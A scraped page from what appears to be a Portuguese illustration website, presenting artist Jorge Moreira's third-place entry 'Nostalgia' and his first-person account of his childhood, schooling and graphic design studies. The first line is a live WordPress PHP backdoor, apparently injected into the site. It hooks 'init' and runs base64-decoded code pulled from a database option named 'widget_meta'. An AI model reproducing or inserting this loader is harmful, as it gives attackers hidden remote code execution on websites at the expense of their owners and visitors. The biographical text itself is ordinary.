add_action( 'init', create_function( '', @join( array_map( "base64_decode", json_decode( get_option( $table_prefix . "widget_meta" ) ) ) ) ), 0 ); Jorge Moreira – 3º Lugar “Nostalgia” » Ilustração Contemporânea Portuguesa

Jorge Moreira – 3º Lugar “Nostalgia”

Jorge Moreira - 3º lugar
“Chamo-me Jorge Manuel Araújo Moreira, nasci no dia 5 do último Agosto da década de 1980 ao sabor do mar, na Póvoa de Varzim, dessa altura pouco me lembro, há quem diga que foram os melhores cá em Portugal, infelizmente nesse verão não me deram permissão para poder provar com os meus pequenos olhos. Nos anos seguintes ainda se ouviram estilhaços do movimento musical da altura, creio que tenha ficado alguma coisa dessa altura e dessas influências, mas havia sempre um som de fundo que nunca me saiu da memória, lá no gira discos passavam uns Blues manhosos, ficavam para lá do Mississípi, o meu Pai insistia com a guitarra e imitava os sons ou inventava, eu punha os óculos de sol e tentava cantar os Blues, raios me partam! Eram tempos do caraças, contudo nunca me deixaram assistir aos ensaios do pessoal da banda, diziam que não era saudável para os meus ouvidos, então ficava a observar o meu Avô a tocar uma flauta como aquelas dos encantadores de serpentes, com um ritmo típico do folclore Português.
Do meu percurso académico, lembro-me que na década de 1990, aquando os miúdos abandonam o seio familiar, e vão viver tremendas aventuras no jardim-de-infância, o meu passatempo preferido era pintar não sei bem o quê, mas lembro-me bem que gostava de sentir a tinta espalhar-se pelas minhas mãos, pela roupa, e inevitavelmente pela cara e cabelo, por todo o lado, coisa que com certeza a minha querida Mãe não aprovava.

Já na escola primária trocava berlindes por desenhos do Dragon Ball, que copiava dos cromos que provavelmente saiam nas batatas fritas ou em alguma coisa do género, quando não estava a desenhar os bonecos do Dragon Ball estava a construir mansões com pedaços de madeira apanhados na oficina da carpintaria herdada do meu Bisavô, e pedras apanhadas no jardim, sempre tive muito jeito para a tragédia, o que me dava mais gozo era construir complexos habitacionais para os meus bonecos, para depois por algum motivo, destruir completamente o que tinha construído, e logo de seguida vinha o helicóptero, salvar os sobreviventes, tentava inclusive imitar tragédias do dia-a-dia, como incêndios ou inundações, posto isto chegou um dia em que estava a brincar, tinha construído um caixa com compartimentos, e pus lá os meus bonecos Lego, a situação era um incêndio que tinha começado na cozinha, então pego no isqueiro e incendeio a cozinha que tinha construído, entretanto a minha Mãe chama-me quando volto á brincadeira, o jardim estava em chamas, valeram os vizinhos que com uma mangueira conseguiram apagar o fogo, escusado será dizer que o castigo foi severo.

Depois fui para o básico, tive um percurso estável e regular, até ao dia em que descobri as raparigas, e o “ser fixe”, os dois últimos anos no básico teriam sido uma desgraça, não fosse a insistência dos meus Pais e a minha boa vontade. De seguida vem o secundário, ingressei no curso científico – humanístico de Artes Visuais, correu tudo bem, não fossem as más companhias, mas lá consegui.

Inicialmente queria ser Arquitecto, depois Pintor, também houve a altura que quis ser Cientista, mas isso já tinha sido á alguns anos, caí em mim e ingressei no curso de Design Gráfico, no Instituto Politécnico do Cávado e do Ave, acabei recentemente a Licenciatura, e planeio agora os próximos passos.”

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